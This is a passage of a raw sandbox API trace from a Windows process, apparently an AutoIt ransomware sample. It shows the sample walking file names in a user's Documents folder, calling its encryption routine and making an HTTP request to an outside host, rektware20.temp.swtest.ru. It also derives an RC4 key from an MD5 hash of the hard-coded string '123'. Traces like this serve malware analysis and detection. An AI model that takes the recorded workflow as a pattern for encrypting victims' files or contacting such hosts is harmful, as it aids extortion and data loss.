lpString1="6Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" 4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XLMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LMlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MlkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lkzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kzLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zLNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LNT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NT6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0069.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.186] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.186] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0069.186] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.186] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0069.186] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0069.186] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0069.186] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0069.186] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0069.186] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ef8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ef8, lpdwBufferLength=0x130ee1c) returned 1 [0069.186] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0069.186] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0069.186] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0069.187] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0069.187] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0069.187] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0069.187] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0069.187] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0069.187] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0069.187] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0069.187] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0069.187] CloseHandle (hObject=0x0) returned 0 [0069.187] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.187] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\a 4XLMlkzLNT6.pps", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0069.188] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0069.188] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.188] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.188] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.188] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.188] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0069.188] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.188] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0069.188] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.188] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.188] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0069.188] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.189] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.189] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.189] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.189] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.189] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0069.189] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0069.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0069.189] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0069.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0069.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0069.189] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0069.189] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f00) returned 1 [0069.190] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.190] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.190] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0069.190] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.190] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.190] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.190] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.190] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.190] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.191] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.191] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.191] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.191] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.191] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.191] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.191] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0069.191] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.191] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.191] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.191] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.191] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.191] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.191] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.191] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.191] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.191] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.191] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.191] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.191] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.192] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.192] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.192] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.192] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.192] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.192] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0069.192] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0069.192] CryptCreateHash (in: hProv=0x17a9f00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0069.192] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.192] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.192] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.192] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0069.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629500, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0069.193] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0069.193] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0069.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0069.193] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.193] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.193] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.193] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0069.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0069.196] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0069.196] CryptHashData (hHash=0x164c630, pbData=0x1629460, dwDataLen=0x3, dwFlags=0x1) returned 1 [0069.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.197] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.197] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.197] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.197] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.197] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.197] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.197] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0069.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0069.197] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0069.197] CryptDeriveKey (in: hProv=0x17a9f00, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c670) returned 1 [0069.197] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.197] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.197] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.197] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.198] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.198] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.198] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0069.198] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0069.198] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0069.198] CryptDestroyHash (hHash=0x164c630) returned 1 [0069.199] PeekMessageW (in: lpMsg=0x130ec34, 